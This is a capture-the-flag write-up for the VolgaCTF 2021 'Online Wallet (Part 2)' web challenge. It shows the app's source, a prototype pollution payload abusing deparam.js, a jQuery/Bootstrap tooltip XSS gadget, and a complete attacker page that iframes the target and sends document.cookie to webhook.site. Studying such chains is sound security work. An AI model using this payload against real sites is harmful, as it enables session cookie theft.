VolgaCTF 2021 Qualifier - Online Wallet (Part 2)
aszx87410 opened this issue · comments
Online Wallet (Part 2)
Description
Steal document.cookie
const express = require('express')
const bodyParser = require('body-parser')
const mysql = require(`mysql-await`)
const session = require('express-session')
const cookieParser = require("cookie-parser")
const pool = mysql.createPool({
connectionLimit: 50,
host : 'localhost',
user : '***REDACTED***',
password : '***REDACTED***',
database : '***REDACTED***'
})
const app = express()
app.set('strict routing', true)
app.set('view engine', 'ejs')
const rawBody = function (req, res, buf, encoding) {
if (buf && buf.length) {
req.rawBody = buf.toString(encoding || 'utf8')
}
}
app.use(bodyParser.json({verify: rawBody}))
app.use(cookieParser())
app.use(session({
secret: '***REDACTED***',
resave: false,
saveUninitialized: false,
proxy: true,
cookie: {
sameSite: 'none',
secure: true
}
}))
app.use(function (req, res, next) {
if(req.cookies.lang && typeof(req.cookies.lang) == "string")
req.session.lang = req.cookies.lang
if(req.query.lang && typeof(req.query.lang) == "string") {
res.cookie('lang', req.query.lang)
req.session.lang = req.query.lang
}
if(!req.session.lang)
req.session.lang = "en"
next()
});
app.get('/', (req, res) => {
if(req.session.userid)
return res.redirect('/wallet')
res.render('index', {lang: req.session.lang})
})
app.get('/login', (req, res) => {
if(req.session.userid)
return res.redirect('/wallet')
res.render('login', {lang: req.session.lang})
})
app.post('/login', async (req, res) => {
if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ? AND `password` = ? LIMIT 1", [req.body.login, req.body.password])
req.session.userid = result[0].id
res.json({success: true})
} catch {
res.json({success: false})
} finally {
db.release()
}
})
app.get('/signup', (req, res) => {
if(req.session.userid)
return res.redirect('/wallet')
res.render('signup', {lang: req.session.lang})
})
app.post('/signup', async (req, res) => {
if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ?", [req.body.login])
if (result.length != 0)
return res.json({success: false})
result = await db.awaitQuery("INSERT INTO `users` (`login`, `password`) VALUES (?, ?)", [req.body.login, req.body.password])
req.session.userid = result.insertId
db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, 'Default Wallet', 100, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, result.insertId])
return res.json({success: true})
} catch {
return res.json({success: false})
} finally {
db.release()
}
})
app.get('/wallet', async (req, res) => {
if(!req.session.userid)
return res.redirect('/')
const db = await pool.awaitGetConnection()
wallets = await db.awaitQuery("SELECT * FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
result = await db.awaitQuery("SELECT SUM(`balance`) AS `sum` FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
db.release()
res.render('wallet', {wallets, sum: result[0].sum, lang: req.session.lang})
})
app.post('/transfer', async (req, res) => {
if(!req.session.userid || !req.body.from_wallet || !req.body.to_wallet || (req.body.from_wallet == req.body.to_wallet) || !req.body.amount
|| (typeof(req.body.from_wallet) != "string") || (typeof(req.body.to_wallet) != "string") || (typeof(req.body.amount) != "number") || (req.body.amount <= 0))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
await db.awaitBeginTransaction()
from_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.from_wallet, req.session.userid])
to_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.to_wallet, req.session.userid])
if (from_wallet.length == 0 || to_wallet.length == 0)
return res.json({success: false})
from_balance = from_wallet[0].balance
if(from_balance >= req.body.amount) {
transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
await db.awaitCommit()
res.json({success: true})
} else {
await db.awaitRollback()
res.json({success: false})
}
} catch {
await db.awaitRollback()
res.json({success: false})
} finally {
db.release()
}
})
app.post('/wallet', async (req, res) => {
if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, ?, 0, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, req.body.wallet, req.session.userid])
res.json({success: true})
} catch {
res.json({success: false})
} finally {
db.release()
}
})
app.post('/withdraw', async (req, res) => {
if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
/* only developers can have a negative balance */
if((result[0].balance > 150) || (result[0].balance < 0))
res.json({success: true, money: FLAG})
else
res.json({success: false})
} catch {
res.json({success: false})
} finally {
db.release()
}
})
app.get('/logout', (req, res) => {
req.session.destroy()
res.redirect('/')
})
const PORT = 8080
const FLAG = "VolgaCTF{***REDACTED***}"
app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`)
})
Writeup
There is a very suspicious part for setting lang via query string:
app.use(function (req, res, next) {
if(req.cookies.lang && typeof(req.cookies.lang) == "string")
req.session.lang = req.cookies.lang
if(req.query.lang && typeof(req.query.lang) == "string") {
res.cookie('lang', req.query.lang)
req.session.lang = req.query.lang
}
if(!req.session.lang)
req.session.lang = "en"
next()
});
After changing this value, I found that the lang
is reflected in response.
https://wallet.volgactf-task.ru/wallet?lang=abc123
<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_abc123.js"></script>
But <>"'
is escaped so we can't do XSS here. Let's see what's inside s3 bucket: https://volgactf-wallet.s3-us-west-1.amazonaws.com
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>volgactf-wallet</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>bootstrap.min.css</Key>
<LastModified>2021-03-13T19:30:14.000Z</LastModified>
<ETag>"a15c2ac3234aa8f6064ef9c1f7383c37"</ETag>
<Size>155758</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>bootstrap.min.js</Key>
<LastModified>2021-03-11T11:59:57.000Z</LastModified>
<ETag>"e1d98d47689e00f8ecbc5d9f61bdb42e"</ETag>
<Size>58072</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>deparam.js</Key>
<LastModified>2021-03-11T12:17:35.000Z</LastModified>
<ETag>"51fa265e6f8b1e2327ef0b4b8a859933"</ETag>
<Size>1835</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag-icon.min.css</Key>
<LastModified>2021-03-13T19:30:31.000Z</LastModified>
<ETag>"1c7783936db99706c52edb52174b0d86"</ETag>
<Size>33961</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/ru.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"0cacf46e6f473fa88781120f370d6107"</ETag>
<Size>286</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/us.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"ae65659236a7e348402799477237e6fa"</ETag>
<Size>4461</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>jquery-3.3.1.slim.min.js</Key>
<LastModified>2021-03-11T12:00:03.000Z</LastModified>
<ETag>"99b0a83cf1b0b1e2cb16041520e87641"</ETag>
<Size>69917</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_en.js</Key>
<LastModified>2021-03-14T04:29:10.000Z</LastModified>
<ETag>"12753963071098b25222964ef55d34aa"</ETag>
<Size>834</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_ru.js</Key>
<LastModified>2021-03-14T04:29:30.000Z</LastModified>
<ETag>"8c76c84adcc90e93dfd978ec59675fd2"</ETag>
<Size>1142</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>popper.min.js</Key>
<LastModified>2021-03-11T12:00:26.000Z</LastModified>
<ETag>"56456db9d72a4b380ed3cb63095e6022"</ETag>
<Size>21004</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>style.css</Key>
<LastModified>2021-03-11T12:00:30.000Z</LastModified>
<ETag>"98fbfe87adff070366e195a45920e28f"</ETag>
<Size>123</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>
There is a new file called deparam.js
which never use in the web page so I guess we need to import this to do something.
content:
deparam = function( params, coerce ) {
var obj = Object.create(null), /* Prototype Pollution fix */
coerce_types = { 'true': !0, 'false': !1, 'null': null };
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( coerce ) {
val = val && !isNaN(val) ? +val
: val === 'undefined' ? undefined
: coerce_types[val] !== undefined ? coerce_types[val]
: val;
}
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( obj[key] !== undefined ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = coerce
? undefined
: '';
}
});
return obj;
};
queryObject = deparam(location.search.slice(1))
The source code already gave us a hint: /* Prototype Pollution fix */
. So I thought the goal is to leverage prototype pollution and trigger XSS via jquery or tooltip.
After trying for few payloads, prototype pollution can be triggered via a[0]=2&a[__proto__][__proto__][abc]=1
POC:
deparam = function( params, coerce ) {
var obj = Object.create(null), /* Prototype Pollution fix */
coerce_types = { 'true': !0, 'false': !1, 'null': null };
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( obj[key] !== undefined ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = '';
}
});
return obj;
};
var poc = {}
queryObject = deparam('a[0]=2&a[__proto__][__proto__][abc]=1')
console.log(poc.abc) // 1
The next step is to see if there is any gadget we can use: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
But from the source of the web page we know that only $('[data-toggle="tooltip"]').tooltip()
has been called after content loaded, so I think it's the key and we need to use it. I tried for an hour to see if I can pollute the template
or title
options for tooltip but it doesn't work.
After trace the source code of bootstrap tooltip, when tooltip show, getTipElement
will be triggered:
getTipElement() {
this.tip = this.tip || $(this.config.template)[0]
return this.tip
}
template is html so we can use this jQuery gadget now:
<script/src=https://code.jquery.com/jquery-3.3.1.js></script>
<script>
Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script>
<script>
$('<div x="x"></div>')
</script>
But how to show the tooltip? We can show the tooltip if it gets focused, and luckily there is an id for the tooltip element: <span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">
So combined with all the vulnerabilities above, the steps are:
- Use
lang
to importdeparam.js
- prototype pollution to use jQuery gadget
- Use
#depositButton
to trigger tooltip and do XSS
We can create a simple html page and use iframe to load the website. After it's loaded we update the src to #depositButton
to let tooltip get focus and trigger XSS.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
</head>
<body>
<script>
fetch('https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a?check').then(r =>r).catch(err => console.log(err))
function run() {
setTimeout(() => {
f.src = "https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1#depositButton"
}, 2000)
}
</script>
<iframe id="f" onload="run()" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1"></iframe>
</body>
</html>
in Online Wallet (Part 1), how to get the balance of the Default wallet to 152? i just make it negative